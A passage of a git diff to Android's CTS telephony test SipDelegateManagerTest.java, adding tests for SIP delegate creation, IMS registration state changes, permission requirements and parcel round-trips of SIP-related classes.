+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/SipDelegateManagerTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/SipDelegateManagerTest.java
index cb02a0c..95935ac 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/SipDelegateManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/SipDelegateManagerTest.java
@@ -19,23 +19,34 @@
 import static junit.framework.Assert.assertNotNull;
 import static junit.framework.Assert.assertTrue;
 
+import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
 import static org.junit.Assert.fail;
 
+import static java.nio.charset.StandardCharsets.UTF_8;
+
 import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.os.Parcel;
 import android.os.PersistableBundle;
 import android.telephony.CarrierConfigManager;
 import android.telephony.SubscriptionManager;
 import android.telephony.TelephonyManager;
+import android.telephony.ims.DelegateRegistrationState;
+import android.telephony.ims.DelegateRequest;
+import android.telephony.ims.FeatureTagState;
 import android.telephony.ims.ImsException;
 import android.telephony.ims.ImsManager;
 import android.telephony.ims.ImsService;
+import android.telephony.ims.SipDelegateImsConfiguration;
 import android.telephony.ims.SipDelegateManager;
+import android.telephony.ims.SipMessage;
 import android.telephony.ims.feature.ImsFeature;
 import android.telephony.ims.stub.ImsFeatureConfiguration;
+import android.util.ArraySet;
 
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.platform.app.InstrumentationRegistry;
@@ -46,23 +57,31 @@
 import org.junit.AfterClass;
 import org.junit.Before;
 import org.junit.BeforeClass;
+import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.Set;
 import java.util.concurrent.Callable;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
+import java.util.stream.Collectors;
 
 /**
  * CTS tests for {@link SipDelegateManager} API.
  */
 @RunWith(AndroidJUnit4.class)
 public class SipDelegateManagerTest {
-
-    private static int sTestSlot = 0;
-    private static int sTestSub = SubscriptionManager.INVALID_SUBSCRIPTION_ID;
-    private static ImsServiceConnector sServiceConnector;
-    private static CarrierConfigReceiver sReceiver;
+    private static final String MMTEL_TAG =
+            "+g.3gpp.iari-ref=\"urn%3Aurn-7%3A3gpp-service.ims.icsi.mmtel\"";
+    private static final String ONE_TO_ONE_CHAT_TAG =
+            "+g.3gpp.icsi-ref=\"urn%3Aurn-7%3A3gppservice.ims.icsi.oma.cpm.msg\"";
+    private static final String GROUP_CHAT_TAG =
+            "+g.3gpp.icsi-ref=\"urn%3Aurn-7%3A3gppservice.ims.icsi.oma.cpm.session\"";
+    private static final String FILE_TRANSFER_HTTP_TAG =
+            "+g.3gpp.iari-ref=\"urn%3Aurn-7%3A3gppapplication.ims.iari.rcs.fthttp\"";
 
     private static class CarrierConfigReceiver extends BroadcastReceiver {
         private CountDownLatch mLatch = new CountDownLatch(1);
@@ -91,6 +110,11 @@
         }
     }
 
+    private static int sTestSlot = 0;
+    private static int sTestSub = SubscriptionManager.INVALID_SUBSCRIPTION_ID;
+    private static ImsServiceConnector sServiceConnector;
+    private static CarrierConfigReceiver sReceiver;
+
     @BeforeClass
     public static void beforeAllTests() throws Exception {
         // First, only populate test slot/sub
@@ -119,6 +143,12 @@
         // ACTION_CARRIER_CONFIG_CHANGED is sticky, so we will get a callback right away.
         InstrumentationRegistry.getInstrumentation().getContext()
                 .registerReceiver(sReceiver, filter);
+
+        if (!ImsUtils.shouldTestImsSingleRegistration()) {
+            // override FEATURE_TELEPHONY_IMS_SINGLE_REGISTRATION setting for this test to enable
+            // APIs.
+            sServiceConnector.setDeviceSingleRegistrationEnabled(true);
+        }
     }
 
     @AfterClass
@@ -179,6 +209,7 @@
         // is enabled.
         if (sServiceConnector != null) {
             sServiceConnector.disconnectCarrierImsService();
+            sServiceConnector.restoreDefaultSmsApp();
         }
     }
 
@@ -192,7 +223,38 @@
         SipDelegateManager manager = getSipDelegateManager();
         try {
             manager.isSupported();
-            fail("isSupported requires READ_PRIVILEGED_PHONE_STATE");
+            fail("isSupported requires READ_PRIVILEGED_PHONE_STATE or "
+                    + "PERFORM_IMS_SINGLE_REGISTRATION");
+        } catch (SecurityException e) {
+            //expected
+        }
+        try {
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
+                    manager, SipDelegateManager::isSupported, ImsException.class,
+                    "android.permission.PERFORM_IMS_SINGLE_REGISTRATION");
+        } catch (ImsException e) {
+            // Not a problem, only checking permissions here.
+        } catch (SecurityException e) {
+            fail("isSupported requires READ_PRIVILEGED_PHONE_STATE or "
+                    + "PERFORM_IMS_SINGLE_REGISTRATION, exception:" + e);
+        }
+        try {
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
+                    manager, SipDelegateManager::isSupported, ImsException.class,
+                    "android.permission.READ_PRIVILEGED_PHONE_STATE");
+
+        } catch (ImsException e) {
+            // Not a problem, only checking permissions here.
+        } catch (SecurityException e) {
+            fail("isSupported requires READ_PRIVILEGED_PHONE_STATE or "
+                    + "PERFORM_IMS_SINGLE_REGISTRATION, exception:" + e);
+        }
+
+        DelegateRequest d = new DelegateRequest(Collections.emptySet());
+        TestSipDelegateConnection c = new TestSipDelegateConnection(d);
+        try {
+            manager.createSipDelegate(d, Runnable::run, c, c);
+            fail("createSipDelegate requires PERFORM_IMS_SINGLE_REGISTRATION");
         } catch (SecurityException e) {
             //expected
         }
@@ -205,22 +267,56 @@
         if (!ImsUtils.shouldTestTelephony()) {
             return;
         }
-        if (ImsUtils.shouldTestImsService()) {
-            // Return if FEATURE_TELEPHONY_IMS is supported, we only want to test devices where
-            // telephony is supported, but IMS isn't.
-            return;
+
+        if (sServiceConnector != null) {
+            // Override FEATURE_TELEPHONY_IMS_SINGLE_REGISTRATION for this test so that telephony
+            // will report not enabled.
+            sServiceConnector.setDeviceSingleRegistrationEnabled(false);
         }
-        SipDelegateManager manager = getSipDelegateManager();
+
         try {
-            // If FEATURE_TELEPHONY_IMS is not supported this should already return false.
-            Boolean result = ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
-                    manager, SipDelegateManager::isSupported, ImsException.class,
-                    "android.permission.READ_PRIVILEGED_PHONE_STATE");
-            assertNotNull(result);
-            assertFalse("isSupported should return false on devices that do not support "
-                    + "feature FEATURE_TELEPHONY_IMS", result);
-        } catch (SecurityException e) {
-            fail("isSupported requires READ_PRIVILEGED_PHONE_STATE permission");
+            SipDelegateManager manager = getSipDelegateManager();
+
+            try {
+                // If FEATURE_TELEPHONY_IMS_SINGLE_REGISTRATION is not supported this should
+                // return false.
+                Boolean result = ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
+                        manager, SipDelegateManager::isSupported, ImsException.class,
+                        "android.permission.PERFORM_IMS_SINGLE_REGISTRATION");
+                assertNotNull(result);
+                assertFalse("isSupported should return false on devices that do not "
+                        + "support feature FEATURE_TELEPHONY_IMS_SINGLE_REGISTRATION", result);
+            } catch (SecurityException e) {
+                fail("isSupported requires PERFORM_IMS_SINGLE_REGISTRATION permission");
+            }
+
+            try {
+                // If FEATURE_TELEPHONY_IMS_SINGLE_REGISTRATION is not supported, this should throw
+                // an ImsException
+                DelegateRequest request = new DelegateRequest(Collections.emptySet());
+                TestSipDelegateConnection delegateConn = new TestSipDelegateConnection(request);
+                ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
+                        manager, (m) -> m.createSipDelegate(request, Runnable::run,
+                                delegateConn, delegateConn), ImsException.class,
+                        "android.permission.PERFORM_IMS_SINGLE_REGISTRATION");
+                fail("createSipDelegate should throw an ImsException with code "
+                        + "CODE_ERROR_UNSUPPORTED_OPERATION on devices that do not support feature "
+                        + "FEATURE_TELEPHONY_IMS_SINGLE_REGISTRATION");
+            } catch (SecurityException e) {
+                fail("isSupported requires PERFORM_IMS_SINGLE_REGISTRATION permission");
+            } catch (ImsException e) {
+                // expecting CODE_ERROR_UNSUPPORTED_OPERATION
+                if (e.getCode() != ImsException.CODE_ERROR_UNSUPPORTED_OPERATION) {
+                    fail("createSipDelegate should throw an ImsException with code "
+                            + "CODE_ERROR_UNSUPPORTED_OPERATION on devices that do not support "
+                            + "feature FEATURE_TELEPHONY_IMS_SINGLE_REGISTRATION");
+                }
+            }
+        } finally {
+            if (sServiceConnector != null) {
+                // restore override for the rest of the tests.
+                sServiceConnector.setDeviceSingleRegistrationEnabled(true);
+            }
         }
     }
 
@@ -240,9 +336,9 @@
             result = callUntilImsServiceIsAvailable(() ->
                     ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(manager,
                             SipDelegateManager::isSupported, ImsException.class,
-                            "android.permission.READ_PRIVILEGED_PHONE_STATE"));
+                            "android.permission.PERFORM_IMS_SINGLE_REGISTRATION"));
         } catch (SecurityException e) {
-            fail("isSupported requires READ_PRIVILEGED_PHONE_STATE permission");
+            fail("isSupported requires PERFORM_IMS_SINGLE_REGISTRATION permission");
         }
         assertNotNull(result);
         assertTrue("isSupported should return true", result);
@@ -262,13 +358,14 @@
         Boolean result = callUntilImsServiceIsAvailable(() ->
                 ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
                         getSipDelegateManager(), SipDelegateManager::isSupported,
-                        ImsException.class, "android.permission.READ_PRIVILEGED_PHONE_STATE"));
+                        ImsException.class, "android.permission.PERFORM_IMS_SINGLE_REGISTRATION"));
         assertNotNull(result);
         assertFalse("isSupported should return false if"
                 + "CarrierConfigManager.Ims.KEY_RCS_SINGLE_REGISTRATION_REQUIRED_BOOL is set to "
                 + "false", result);
     }
 
+    @Ignore("Disabling for integration b/175766573")
     @Test
     public void testIsSupportedWithSipTransportCapableOnlyRcs() throws Exception {
         if (!ImsUtils.shouldTestImsService()) {
@@ -277,7 +374,12 @@
         PersistableBundle b = new PersistableBundle();
         b.putBoolean(CarrierConfigManager.Ims.KEY_IMS_SINGLE_REGISTRATION_REQUIRED_BOOL, true);
         overrideCarrierConfig(b);
+
         assertTrue(sServiceConnector.connectCarrierImsServiceLocally());
+        // set SipTransport as supported with RCS only attached.
+        sServiceConnector.getCarrierService().addCapabilities(
+                ImsService.CAPABILITY_SIP_DELEGATE_CREATION);
+        sServiceConnector.getCarrierService().setSipTransportImplemented();
 
         ImsFeatureConfiguration c = getConfigForRcs();
         assertTrue(sServiceConnector.triggerFrameworkConnectionToCarrierImsService(c));
@@ -286,10 +388,10 @@
         Boolean result = callUntilImsServiceIsAvailable(() ->
                 ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
                         getSipDelegateManager(), SipDelegateManager::isSupported,
-                        ImsException.class, "android.permission.READ_PRIVILEGED_PHONE_STATE"));
+                        ImsException.class, "android.permission.PERFORM_IMS_SINGLE_REGISTRATION"));
         assertNotNull(result);
         assertFalse("isSupported should return false in the case that the ImsService is only "
-                + "attached for MMTEL and not MMTEL and RCS", result);
+                + "attached for RCS and not MMTEL and RCS", result);
     }
 
 
@@ -313,7 +415,7 @@
         Boolean result = callUntilImsServiceIsAvailable(() ->
                 ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
                         getSipDelegateManager(), SipDelegateManager::isSupported,
-                        ImsException.class, "android.permission.READ_PRIVILEGED_PHONE_STATE"));
+                        ImsException.class, "android.permission.PERFORM_IMS_SINGLE_REGISTRATION"));
         assertNotNull(result);
         assertFalse("isSupported should return false in the case that SipTransport is not "
                 + "implemented", result);
@@ -338,7 +440,7 @@
         Boolean result = callUntilImsServiceIsAvailable(() ->
                 ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
                         getSipDelegateManager(), SipDelegateManager::isSupported,
-                        ImsException.class, "android.permission.READ_PRIVILEGED_PHONE_STATE"));
+                        ImsException.class, "android.permission.PERFORM_IMS_SINGLE_REGISTRATION"));
         assertNotNull(result);
         assertFalse("isSupported should return false in the case that SipTransport is not "
                 + "set as capable in ImsService#getImsServiceCapabilities", result);
@@ -354,7 +456,7 @@
         overrideCarrierConfig(b);
 
         assertTrue(sServiceConnector.connectCarrierImsServiceLocally());
-        // NoytImplemented/capable
+        // Not Implemented/capable
         ImsFeatureConfiguration c = getConfigForMmTelAndRcs();
         assertTrue(sServiceConnector.triggerFrameworkConnectionToCarrierImsService(c));
         verifyImsServiceState(c);
@@ -362,12 +464,638 @@
         Boolean result = callUntilImsServiceIsAvailable(() ->
                 ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
                         getSipDelegateManager(), SipDelegateManager::isSupported,
-                        ImsException.class, "android.permission.READ_PRIVILEGED_PHONE_STATE"));
+                        ImsException.class, "android.permission.PERFORM_IMS_SINGLE_REGISTRATION"));
         assertNotNull(result);
         assertFalse("isSupported should return false in the case that SipTransport is not "
                 + "set as capable in ImsService#getImsServiceCapabilities", result);
     }
 
+    @Test
+    public void testCreateDestroyDelegateNotDefaultMessagingApp() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        connectTestImsServiceWithSipTransportAndConfig();
+
+        TestSipTransport transportImpl = sServiceConnector.getCarrierService().getSipTransport();
+        TestImsRegistration imsReg = sServiceConnector.getCarrierService().getImsRegistration();
+        SipDelegateManager manager = getSipDelegateManager();
+        DelegateRequest request = getDefaultRequest();
+        TestSipDelegateConnection delegateConn = new TestSipDelegateConnection(request);
+
+        // wait for onCreated and registration state change to be called.
+        createSipDelegateConnectionNoDelegateExpected(manager, delegateConn, transportImpl);
+
+        // TODO deal with this case better when we can filter messages.
+        delegateConn.sendMessageAndVerifyFailure(ImsUtils.TEST_SIP_MESSAGE,
+                SipDelegateManager.MESSAGE_FAILURE_REASON_DELEGATE_DEAD);
+
+        delegateConn.triggerFullNetworkRegistration(manager, 403, "FORBIDDEN");
+        // wait 5 seconds, this should not return.
+        TestImsRegistration.NetworkRegistrationInfo info =
+                imsReg.getNextFullNetworkRegRequest(5000);
+        assertNull("If there is no valid SipTransport, this should not be called", info);
+
+        destroySipDelegateConnectionNoDelegate(manager, delegateConn);
+    }
+
+    @Test
+    public void testCreateDelegateBasicUseCases() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        assertTrue(sServiceConnector.setDefaultSmsApp());
+        connectTestImsServiceWithSipTransportAndConfig();
+
+        TestSipTransport transportImpl = sServiceConnector.getCarrierService().getSipTransport();
+        TestImsRegistration regImpl = sServiceConnector.getCarrierService().getImsRegistration();
+        SipDelegateManager manager = getSipDelegateManager();
+        DelegateRequest request = getDefaultRequest();
+        TestSipDelegateConnection delegateConn = new TestSipDelegateConnection(request);
+
+        TestSipDelegate delegate = createSipDelegateConnectionAndVerify(manager, delegateConn,
+                transportImpl, Collections.emptySet(), 0);
+        assertNotNull(delegate);
+        verifyUpdateRegistrationCalled(regImpl);
+
+        SipDelegateImsConfiguration c = new SipDelegateImsConfiguration.Builder(1)
+                .addString(SipDelegateImsConfiguration.KEY_SIP_CONFIG_IMEI_STRING, "123")
+                .build();
+        verifyRegisteredAndSendSipConfig(delegateConn, delegate, request.getFeatureTags(),
+                Collections.emptySet(), c);
+
+        sendMessageAndVerifyAck(delegateConn, delegate);
+        receiveMessageAndVerifyAck(delegateConn, delegate);
+
+        // Ensure requests to perform a full network re-registration work properly.
+        verifyFullRegistrationTriggered(manager, regImpl, delegateConn);
+
+        destroySipDelegateAndVerify(manager, transportImpl, delegateConn, delegate,
+                request.getFeatureTags());
+        assertEquals("There should be no more delegates", 0,
+                transportImpl.getDelegates().size());
+        verifyUpdateRegistrationCalled(regImpl);
+    }
+
+    @Test
+    public void testDelegateRegistrationChanges() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        assertTrue(sServiceConnector.setDefaultSmsApp());
+        connectTestImsServiceWithSipTransportAndConfig();
+
+        TestSipTransport transportImpl = sServiceConnector.getCarrierService().getSipTransport();
+        SipDelegateManager manager = getSipDelegateManager();
+        DelegateRequest request = getDefaultRequest();
+        TestSipDelegateConnection delegateConn = new TestSipDelegateConnection(request);
+
+        // Construct registered tags and denied tags, vendor denied FT tag.
+        Set<String> registeredTags = new ArraySet<>(request.getFeatureTags());
+        registeredTags.remove(FILE_TRANSFER_HTTP_TAG);
+        Set<FeatureTagState> deniedTags = new ArraySet<>(1);
+        deniedTags.add(new FeatureTagState(FILE_TRANSFER_HTTP_TAG,
+                SipDelegateManager.DENIED_REASON_IN_USE_BY_ANOTHER_DELEGATE));
+        TestSipDelegate delegate = createSipDelegateConnectionAndVerify(manager, delegateConn,
+                transportImpl, deniedTags, 0);
+        assertNotNull(delegate);
+
+        SipDelegateImsConfiguration c = new SipDelegateImsConfiguration.Builder(1)
+                .addString(SipDelegateImsConfiguration.KEY_SIP_CONFIG_IMEI_STRING, "123")
+                .build();
+        verifyRegisteredAndSendSipConfig(delegateConn, delegate, registeredTags, deniedTags, c);
+
+        // TODO verify messages can be sent on registered tags, but generate error for denied tags.
+
+        // move reg state to deregistering and then deregistered
+        delegateConn.setOperationCountDownLatch(1);
+        DelegateRegistrationState s = getDeregisteringState(registeredTags,
+                DelegateRegistrationState.DEREGISTERING_REASON_PDN_CHANGE);
+        delegate.notifyImsRegistrationUpdate(s);
+        delegateConn.waitForCountDown(ImsUtils.TEST_TIMEOUT_MS);
+        delegateConn.verifyRegistrationStateEquals(s);
+
+        delegateConn.setOperationCountDownLatch(1);
+        s = getRegisteredRegistrationState(registeredTags);
+        delegate.notifyImsRegistrationUpdate(s);
+        delegateConn.waitForCountDown(ImsUtils.TEST_TIMEOUT_MS);
+        delegateConn.verifyRegistrationStateEquals(s);
+
+        destroySipDelegateAndVerify(manager, transportImpl, delegateConn, delegate,
+                registeredTags);
+        assertEquals("There should be no more delegates", 0,
+                transportImpl.getDelegates().size());
+    }
+
+    @Test
+    public void testCreateMultipleDelegates() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        assertTrue(sServiceConnector.setDefaultSmsApp());
+        connectTestImsServiceWithSipTransportAndConfig();
+        TestSipTransport transportImpl = sServiceConnector.getCarrierService().getSipTransport();
+        TestImsRegistration regImpl = sServiceConnector.getCarrierService().getImsRegistration();
+        SipDelegateManager manager = getSipDelegateManager();
+
+        DelegateRequest request1 = getChatOnlyRequest();
+        TestSipDelegateConnection delegateConn1 = new TestSipDelegateConnection(request1);
+        Set<String> registeredTags1 = new ArraySet<>(request1.getFeatureTags());
+        TestSipDelegate delegate1 = createSipDelegateConnectionAndVerify(manager, delegateConn1,
+                transportImpl, Collections.emptySet(), 0);
+        assertNotNull(delegate1);
+
+        SipDelegateImsConfiguration c = new SipDelegateImsConfiguration.Builder(1)
+                .addString(SipDelegateImsConfiguration.KEY_SIP_CONFIG_IMEI_STRING, "123")
+                .build();
+        verifyRegisteredAndSendSipConfig(delegateConn1, delegate1, registeredTags1,
+                Collections.emptySet(), c);
+
+        // This will only be granted File transfer FT
+        DelegateRequest request2 = getDefaultRequest();
+        TestSipDelegateConnection delegateConn2 = new TestSipDelegateConnection(request2);
+        Set<String> registeredTags2 = new ArraySet<>();
+        registeredTags2.add(FILE_TRANSFER_HTTP_TAG);
+        TestSipDelegate delegate2 = createSipDelegateConnectionAndVerify(manager, delegateConn2,
+                transportImpl, Collections.emptySet(), 1);
+        assertNotNull(delegate2);
+        verifyUpdateRegistrationCalled(regImpl);
+        Set<FeatureTagState> deniedSet = generateDeniedSetFromRequest(request1.getFeatureTags(),
+                request2.getFeatureTags(),
+                SipDelegateManager.DENIED_REASON_IN_USE_BY_ANOTHER_DELEGATE);
+        verifyRegisteredAndSendSipConfig(delegateConn2, delegate2, registeredTags2,
+                deniedSet, c);
+
+        // Destroying delegate 1 will transfer all feature tags over to delegate 2
+        delegateConn2.setOperationCountDownLatch(1);
+        destroySipDelegateAndVerify(manager, transportImpl, delegateConn1, delegate1,
+                registeredTags1);
+        delegateConn2.waitForCountDown(ImsUtils.TEST_TIMEOUT_MS);
+        // This internally triggers the destruction of the internal delegate2 and then recreation
+        // of another delegate with the new feature set that it supports.
+        verifySipDelegateDestroyed(transportImpl, delegateConn2, delegate2, registeredTags2,
+                DelegateRegistrationState.DEREGISTERING_REASON_FEATURE_TAGS_CHANGING);
+        delegate2 = getSipDelegate(transportImpl, Collections.emptySet(), 0);
+        verifyUpdateRegistrationCalled(regImpl);
+        verifyRegisteredAndSendSipConfig(delegateConn2, delegate2, request2.getFeatureTags(),
+                Collections.emptySet(), c);
+
+        destroySipDelegateAndVerify(manager, transportImpl, delegateConn2, delegate2,
+                request2.getFeatureTags());
+        assertEquals("There should be no more delegates", 0,
+                transportImpl.getDelegates().size());
+    }
+
+    @Test
+    public void testCreateDelegateMessagingAppChangesToApp() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        // start with no features granted
+        connectTestImsServiceWithSipTransportAndConfig();
+
+        TestSipTransport transportImpl = sServiceConnector.getCarrierService().getSipTransport();
+        TestImsRegistration regImpl = sServiceConnector.getCarrierService().getImsRegistration();
+        SipDelegateManager manager = getSipDelegateManager();
+        DelegateRequest request = getDefaultRequest();
+        TestSipDelegateConnection delegateConn = new TestSipDelegateConnection(request);
+
+        // wait for onCreated and registration state change to be called.
+        createSipDelegateConnectionNoDelegateExpected(manager, delegateConn, transportImpl);
+
+        // Make this app the DMA
+        regImpl.resetLatch(TestImsRegistration.LATCH_TRIGGER_DEREGISTRATION, 1);
+        assertTrue(sServiceConnector.setDefaultSmsApp());
+        assertTrue(regImpl.waitForLatchCountDown(TestImsRegistration.LATCH_TRIGGER_DEREGISTRATION,
+                ImsUtils.TEST_TIMEOUT_MS));
+        TestSipDelegate delegate = getSipDelegate(transportImpl, Collections.emptySet(), 0);
+        verifyUpdateRegistrationCalled(regImpl);
+        SipDelegateImsConfiguration c = new SipDelegateImsConfiguration.Builder(1)
+                .addString(SipDelegateImsConfiguration.KEY_SIP_CONFIG_IMEI_STRING, "123")
+                .build();
+        verifyRegisteredAndSendSipConfig(delegateConn, delegate, request.getFeatureTags(),
+                Collections.emptySet(), c);
+        destroySipDelegateAndVerify(manager, transportImpl, delegateConn, delegate,
+                request.getFeatureTags());
+        assertEquals("There should be no more delegates", 0,
+                transportImpl.getDelegates().size());
+    }
+
+    @Test
+    public void testCreateDelegateMessagingAppChangesAwayFromApp() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        // Make this app the DMA
+        assertTrue(sServiceConnector.setDefaultSmsApp());
+        connectTestImsServiceWithSipTransportAndConfig();
+        TestSipTransport transportImpl = sServiceConnector.getCarrierService().getSipTransport();
+        TestImsRegistration regImpl = sServiceConnector.getCarrierService().getImsRegistration();
+        SipDelegateManager manager = getSipDelegateManager();
+
+        DelegateRequest request = getDefaultRequest();
+        TestSipDelegateConnection delegateConn = new TestSipDelegateConnection(request);
+        TestSipDelegate delegate = createSipDelegateConnectionAndVerify(manager, delegateConn,
+                transportImpl, Collections.emptySet(), 0);
+        assertNotNull(delegate);
+        verifyUpdateRegistrationCalled(regImpl);
+
+        SipDelegateImsConfiguration c = new SipDelegateImsConfiguration.Builder(1)
+                .addString(SipDelegateImsConfiguration.KEY_SIP_CONFIG_IMEI_STRING, "123")
+                .build();
+        verifyRegisteredAndSendSipConfig(delegateConn, delegate, request.getFeatureTags(),
+                Collections.emptySet(), c);
+
+
+        // Move DMA to another app, we should receive a registration update.
+        delegateConn.setOperationCountDownLatch(1);
+        regImpl.resetLatch(TestImsRegistration.LATCH_TRIGGER_DEREGISTRATION, 1);
+        sServiceConnector.restoreDefaultSmsApp();
+        assertTrue(regImpl.waitForLatchCountDown(TestImsRegistration.LATCH_TRIGGER_DEREGISTRATION,
+                ImsUtils.TEST_TIMEOUT_MS));
+        delegateConn.waitForCountDown(ImsUtils.TEST_TIMEOUT_MS);
+        // we should get another reg update with all tags denied.
+        delegateConn.setOperationCountDownLatch(1);
+        verifySipDelegateDestroyed(transportImpl, delegateConn, delegate, request.getFeatureTags(),
+                DelegateRegistrationState.DEREGISTERING_REASON_FEATURE_TAGS_CHANGING);
+        delegateConn.waitForCountDown(ImsUtils.TEST_TIMEOUT_MS);
+        delegateConn.verifyRegistrationStateEmpty();
+        // All requested features should have been denied due to the app not being the default sms
+        // app.
+        delegateConn.verifyAllDenied(SipDelegateManager.DENIED_REASON_NOT_ALLOWED);
+        // There should not be any delegates left, as the only delegate should have been cleaned up.
+        assertEquals("SipDelegate should not have any delegates", 0,
+                transportImpl.getDelegates().size());
+        verifyUpdateRegistrationCalled(regImpl);
+
+        destroySipDelegateConnectionNoDelegate(manager, delegateConn);
+    }
+    @Test
+    public void testParcelUnparcelDelegateRequest() {
+        ArraySet<String> testTags = new ArraySet<>();
+        testTags.add(MMTEL_TAG);
+        testTags.add(ONE_TO_ONE_CHAT_TAG);
+        testTags.add(GROUP_CHAT_TAG);
+        testTags.add(FILE_TRANSFER_HTTP_TAG);
+        DelegateRequest r = new DelegateRequest(testTags);
+        Parcel p = Parcel.obtain();
+        r.writeToParcel(p, 0);
+        p.setDataPosition(0);
+        DelegateRequest unparcelled = DelegateRequest.CREATOR.createFromParcel(p);
+        assertEquals(r, unparcelled);
+        assertEquals(r.getFeatureTags(), unparcelled.getFeatureTags());
+    }
+
+    @Test
+    public void testParcelUnparcelFeatureTagState() {
+        FeatureTagState f = new FeatureTagState(MMTEL_TAG,
+                DelegateRegistrationState.DEREGISTERED_REASON_NOT_REGISTERED);
+        Parcel p = Parcel.obtain();
+        f.writeToParcel(p, 0);
+        p.setDataPosition(0);
+        FeatureTagState unparcelled = FeatureTagState.CREATOR.createFromParcel(p);
+        assertEquals(f, unparcelled);
+        assertEquals(f.getFeatureTag(), unparcelled.getFeatureTag());
+        assertEquals(f.getState(), unparcelled.getState());
+    }
+
+    @Test
+    public void testParcelUnparcelRegistrationState() {
+        ArraySet<String> regTags = new ArraySet<>();
+        regTags.add(MMTEL_TAG);
+        DelegateRegistrationState s = new DelegateRegistrationState.Builder()
+                .addRegisteredFeatureTags(regTags)
+                .addRegisteredFeatureTag(ONE_TO_ONE_CHAT_TAG)
+                .addDeregisteringFeatureTag(GROUP_CHAT_TAG,
+                        DelegateRegistrationState.DEREGISTERING_REASON_PDN_CHANGE)
+                .addDeregisteredFeatureTag(FILE_TRANSFER_HTTP_TAG,
+                        DelegateRegistrationState.DEREGISTERED_REASON_NOT_REGISTERED)
+                .build();
+        Parcel p = Parcel.obtain();
+        s.writeToParcel(p, 0);
+        p.setDataPosition(0);
+        DelegateRegistrationState unparcel = DelegateRegistrationState.CREATOR.createFromParcel(p);
+        assertEquals(s, unparcel);
+        assertEquals(s.getRegisteredFeatureTags(), unparcel.getRegisteredFeatureTags());
+        assertEquals(s.getDeregisteringFeatureTags(), unparcel.getDeregisteringFeatureTags());
+        assertEquals(s.getDeregisteredFeatureTags(), unparcel.getDeregisteredFeatureTags());
+    }
+
+    @Test
+    public void testParcelUnparcelImsConfiguration() {
+        SipDelegateImsConfiguration c = new SipDelegateImsConfiguration.Builder(1 /*version*/)
+                .addBoolean(SipDelegateImsConfiguration.KEY_SIP_CONFIG_IS_GRUU_ENABLED_BOOL, true)
+                .addInt(SipDelegateImsConfiguration.KEY_SIP_CONFIG_MAX_PAYLOAD_SIZE_ON_UDP_INT, 1)
+                .addString(SipDelegateImsConfiguration.KEY_SIP_CONFIG_IMEI_STRING, "123")
+                .build();
+        Parcel p = Parcel.obtain();
+        c.writeToParcel(p, 0);
+        p.setDataPosition(0);
+        SipDelegateImsConfiguration unparcel =
+                SipDelegateImsConfiguration.CREATOR.createFromParcel(p);
+        assertEquals(c.getVersion(), unparcel.getVersion());
+        assertEquals(c.getBoolean(
+                        SipDelegateImsConfiguration.KEY_SIP_CONFIG_IS_GRUU_ENABLED_BOOL, false),
+                unparcel.getBoolean(
+                        SipDelegateImsConfiguration.KEY_SIP_CONFIG_IS_GRUU_ENABLED_BOOL, false));
+        assertEquals(c.getInt(
+                SipDelegateImsConfiguration.KEY_SIP_CONFIG_MAX_PAYLOAD_SIZE_ON_UDP_INT, -1),
+                unparcel.getInt(
+                        SipDelegateImsConfiguration.KEY_SIP_CONFIG_MAX_PAYLOAD_SIZE_ON_UDP_INT,
+                        -1));
+        assertEquals(c.getString(SipDelegateImsConfiguration.KEY_SIP_CONFIG_IMEI_STRING),
+                unparcel.getString(SipDelegateImsConfiguration.KEY_SIP_CONFIG_IMEI_STRING));
+    }
+
+    @Test
+    public void testParcelUnparcelSipMessage() {
+        String startLine =
+                "INVITE sip:12345678@[2607:fc20:3806:2a44:0:6:42ae:5b01]:49155 SIP/2.0\r\n";
+        String header = "Via: SIP/2.0/TCP [FD00:976A:C202:1808::1]:65529;"
+                + "branch=z9hG4bKg3Zqkv7iivdfzmfqu68sro3cuht97q846\r\n"
+                + "To: <sip:12345678;phone-context=xxx.com@xxx.com;user=phone>\r\n"
+                + "From: <sip:12345679@xxx.com>;tag=ABC\r\n"
+                + "Call-ID: 000050B04074-79e-fc9b8700-29df64-5f3e5811-26fa8\r\n";
+        String branch = "z9hG4bKg3Zqkv7iivdfzmfqu68sro3cuht97q846";
+        String callId = "000050B04074-79e-fc9b8700-29df64-5f3e5811-26fa8";
+        byte[] bytes = new byte[1];
+        bytes[0] = 'a';
+        SipMessage m = new SipMessage(startLine, header, bytes);
+        Parcel p = Parcel.obtain();
+        m.writeToParcel(p, 0);
+        p.setDataPosition(0);
+        SipMessage unparcel = SipMessage.CREATOR.createFromParcel(p);
+        assertEquals(m, unparcel);
+        assertEquals(m.getStartLine(), unparcel.getStartLine());
+        assertEquals(m.getHeaderSection(), unparcel.getHeaderSection());
+        assertTrue(Arrays.equals(m.getContent(), unparcel.getContent()));
